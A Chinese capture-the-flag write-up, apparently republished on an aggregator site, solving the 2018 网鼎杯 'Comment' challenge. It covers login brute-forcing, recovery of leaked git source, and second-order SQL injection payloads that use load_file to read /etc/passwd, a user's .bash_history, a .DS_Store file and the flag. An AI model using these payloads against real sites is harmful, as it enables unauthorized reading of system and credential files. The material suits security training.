[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 bash_history文件查看

首先我们看到账号密码有提示了

我们bp爆破一下

我首先对数字爆破 因为全字符的话太多了

爆出来了哦

所以账号密码也出来了

zhangwei
zhangwei666

没有什么用啊

扫一下吧

有git

git泄露

那泄露看看

真有

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':break;
case 'comment':break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

原本的githack坏了

mirrors / BugScanTeam / GitHack · GitCode

重新下了一个 需要下载后 里面存在 .git文件夹

然后看上面的代码 根本没有看懂 感觉不是全部

git 恢复

所以我们可以使用git log --all看看

以前的情况

 我们直接回到最开始

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

全部代码就出来了

用了个switch 内容为go

addslashes  这里是 通过转义的方式 存入数据库 很容易造成二次注入因为会把内容原封不动传入数据库 如果读取 就会造成二次注入
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);这里我们能发现 查询的内容 是 category所以category 就是我们写入的内容的参数了

这里懂得差不多了

    $bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];
主要是这里 设定了从数据库提取出来的值$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);这里我们就可以构造了$category=0' content = database(),/*    后面的/*是用来和我们详情里面输入的content闭合

我们首先写入留言

0',content=database(),/*

然后进去提交留言

这个时候就会形成

   $sql = "insert into commentset category = '0',content = database(),/*',content = '*/#',bo_id = '$bo_id'";$result = mysql_query($sql);更直观点$sql = "insert into commentset category = '0',content = database(),/*',content = '*/#',bo_id = '$bo_id'";/*',content = '*/#'这里就为空了 所以现在的语句是set category = '0',content = database(),bo_id = '$bo_id'";

然后我们进行查表 发现没有flag

于是我们可以看看user()函数

发现是root权限

那么多半就是 读取了

load_file可以读取

我们读取看看

这里又是另一个文件读取的方法了

之前做的题 proc这里没有用

任意文件读取

.bash_history      

我们首先去查看 etc/passwd

0',content=(select load_file('/etc/passwd')),/*

 

发现存在 www用户 我们去看看他的历史命令

0',content=(select load_file('/home/www/.bash_history')),/*

这里发现了 是删除了 .DS_Store

但是ctf环境一般都是docker环境 所以在

/tmp/html下还会存在

我们去读取

0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*这里需要通过十六进制输出 因为会有很多不可见的字符

 .DS_Store泄露

我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出

然后通过 Python-dsstore-master

来实现解析读取文件

py3 .\main.py .\samples\download.dat

我们来解析读取这个flag

0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

 但是这个文件是错误的 flag为错误

可能修改了 所以我们回去 /var进行读取

0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}

知识点 过多了。。。。。

虽然都很基础 但是有的时候 真没想到 可以以后再做一次

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/99675.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

leetCode 53.最大子数组和 动态规划 + 优化空间复杂度

关于此题我的往期文章&#xff1a; leetCode 53.最大子数和 图解 贪心算法/动态规划优化_呵呵哒(&#xffe3;▽&#xffe3;)"的博客-CSDN博客https://heheda.blog.csdn.net/article/details/13349726853. 最大子数组和 - 力扣&#xff08;LeetCode&#xff09; >&…

NSA 和 CISA 揭示十大网络安全错误配置

美国国家安全局 (NSA) 和网络安全与基础设施安全局 (CISA) 在5日公布了其红蓝团队在大型组织网络中发现的十大最常见的网络安全错误配置。 通报还详细介绍了威胁行为者使用哪些策略、技术和程序 (TTP) 来成功利用这些错误配置来实现各种目标&#xff0c;包括获取访问权限、横向…

40V汽车级P沟道MOSFET SQ4401EY-T1_GE3 工作原理、特性参数、封装形式—节省PCB空间,更可靠

AEC-Q101车规认证是一种基于失效机制的分立半导体应用测试认证规范。它是为了确保在汽车领域使用的分立半导体器件能够在严苛的环境条件下正常运行和长期可靠性而制定的。AEC-Q101认证包括一系列的失效机制和应力测试&#xff0c;以验证器件在高温、湿度、振动等恶劣条件下的可…

设计模式 - 行为型模式:责任链模式(概述 | 案例实现 | 优缺点 | 使用场景)

目录 一、行为型模式 1.1、责任链模式 1.1.1、概述 1.1.2、案例实现 1.1.3、优缺点 1.1.4、使用场景 一、行为型模式 1.1、责任链模式 1.1.1、概述 为了避免请求发送者和多个请求处理者耦合在一起&#xff0c;就将所有请求处理者通过前一个对象记住下一个对象的引用的方…

uniapp apple 苹果登录 离线本地打包

官方文档 uni-app官网 文档写的不全&#xff0c;没有写离线打包流程 加lib 签名里带 sign in with apple hbuilder开关 代码 测试代码&#xff0c;获取app里所有的provider uni.getProvider({service: oauth,success: function (res) {console.log(res.provider)uni.showT…

【HTML5】语义化标签记录

前言 防止一个页面中全部都是div&#xff0c;或者ul li&#xff0c;在html5推出了很多语义化标签 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 常用语义化案例 一般我用的多的是header&#xff0c;main&#xff0c;footer 这些标签不难理解&#x…

【学习笔记】数据结构算法文档(类C语言)

0、类C语言代码说明 // 函数结果状态代码 #define OK 1 #define ERROR 0 #define OVERFLOW -2// 函数返回值类型&#xff08;返回函数结果状态代码&#xff09; typedef int Status;// 用户自定义数据元素类型 ElemType typedef xxx ElemType;// C 引用&#xff08;示例&#…

2023年中国助消化药物行业现状分析:消化不良患者逐年上升,提升需求量[图]

助消化药物主要分为促胃动力药物、消化酶抑制剂、胃酸抑制药物和消食剂4种类型。促胃动力药物的作用机制是通过增强胃肠道平滑肌动力促进胃酸分泌&#xff0c;从而达到助消化的目的&#xff0c;临床常用药物包括多潘立酮、莫沙必利、西沙比利等。 助消化药物分类 资料来源&…

Observability:使用 OpenTelemetry 对 Node.js 应用程序进行自动检测

作者&#xff1a;Bahubali Shetti DevOps 和 SRE 团队正在改变软件开发的流程。 DevOps 工程师专注于高效的软件应用程序和服务交付&#xff0c;而 SRE 团队是确保可靠性、可扩展性和性能的关键。 这些团队必须依赖全栈可观察性解决方案&#xff0c;使他们能够管理和监控系统&a…

Django开发之进阶篇

Django进阶篇 一、Django学习之模板二、Django学习之中间件默认中间件自定义中间件 三、Django学习之ORM定义模型类生成数据库表操作数据库添加查询修改删除 一、Django学习之模板 在 Django 中&#xff0c;模板&#xff08;Template&#xff09;是用于生成动态 HTML&#xff…

【架构】研发高可用架构和系统设计经验

研发高可用架构和系统设计经验 从研发规范层面、应用服务层面、存储层面、产品层面、运维部署层面、异常应急层面这六大层面去剖析一个高可用的系统需要有哪些关键的设计和考虑。 一、高可用架构和系统设计思想 1.可用性和高可用概念 可用性是一个可以量化的指标,计算的公…

Java 8遍历Map的方式

1、使用entrySet()和stream()方法结合遍历Map Map<String, String> map new HashMap<>();map.put("A001", "zhangsan");map.put("A002", "lisi");map.entrySet().stream().forEach(entry -> {String key entry.getKe…

自动拟人对话机器人在客户服务方面起了什么作用?

在当今数字时代&#xff0c;企业不断寻求创新的方法来提升客户服务体验。随着科技的不断进步和消费者期望的提升&#xff0c;传统的客户服务方式逐渐无法满足现代消费者的需求。因此&#xff0c;许多企业正在积极探索利用新兴技术来改进客户服务&#xff0c;自动拟人对话机器人…

LuatOS-SOC接口文档(air780E)-- gmssl - 国密算法

sm.sm2encrypt(pkx,pky,data)# sm2算法加密 参数 传入值类型 解释 string 公钥x,必选 string 公钥y,必选 string 待计算的数据,必选,最长255字节 返回值 返回值类型 解释 string 加密后的字符串, 原样输出,未经HEX转换 例子 local originStr "encryptio…

新增一个timestamp.html 页面 --chatGPT

问&#xff1a;新增一个timestamp.html 页面&#xff0c;页面实现日期和时间戳 互转功能 gpt: 要创建一个 timestamp.html 页面&#xff0c;用于实现日期和时间戳的互转功能&#xff0c;可以按照以下步骤操作&#xff1a; 1. 创建一个名为 timestamp.html 的 HTML 文件&…

阿里云轻量应用服务器流量价格表(计费/免费说明)

阿里云轻量应用服务器套餐有的限制月流量&#xff0c;有的不限制月流量&#xff0c;限制每月流量的套餐&#xff0c;如果自带的免费月流量包用完了&#xff0c;流量超额部分需要另外支付流量费&#xff0c;阿里云百科aliyunbaike.com分享阿里云轻量应用服务器月流量超额收费价格…

phpstorm不提示$this->request,不提示Controller父类的方法

![在这里插入图片描述](https://img-blog.csdnimg.cn/d55799a22b724099930eb7fb67260a12.png 最后 保存就可以了

浅谈风力发电场集中监控系统解决方案

作为清洁能源之一&#xff0c;风力发电场近几年装机容量快速增长。8月17日&#xff0c;国家能源局发布1-7月份全国电力工业统计数据。截至7月底&#xff0c;全国累计发电装机容量约27.4亿千瓦&#xff0c;同比增长11.5%。其中&#xff0c;太阳能发电装机容量约4.9亿千瓦&#x…

【JavaEE】_tomcat的安装与简单使用

目录 1. 安装tomcat 1.1 下载tomcat并解压缩 1.2 启动tomcat 1.3 访问tomcat欢迎页面 2. tomcat简单使用&#xff1a;部署前端代码 3. 基于tomcat的网站后端开发 tomcat是一个HTTP服务器&#xff0c;HTTP协议就是HTTP客户端与HTTP服务器之间通信使用的协议。 其中HTTP客…

管理Linux的联网

1. RHEL9版本特点 在RHEL7版本中&#xff0c;同时支持network.service和NetworkManager.service&#xff08;简称NM&#xff09;。 在RHEL8上默认只能通过NM进行网络配置&#xff0c;包括动态ip和静态ip,若不开启NM&#xff0c;否则无法使用网络 RHEL8依然支持network.service&…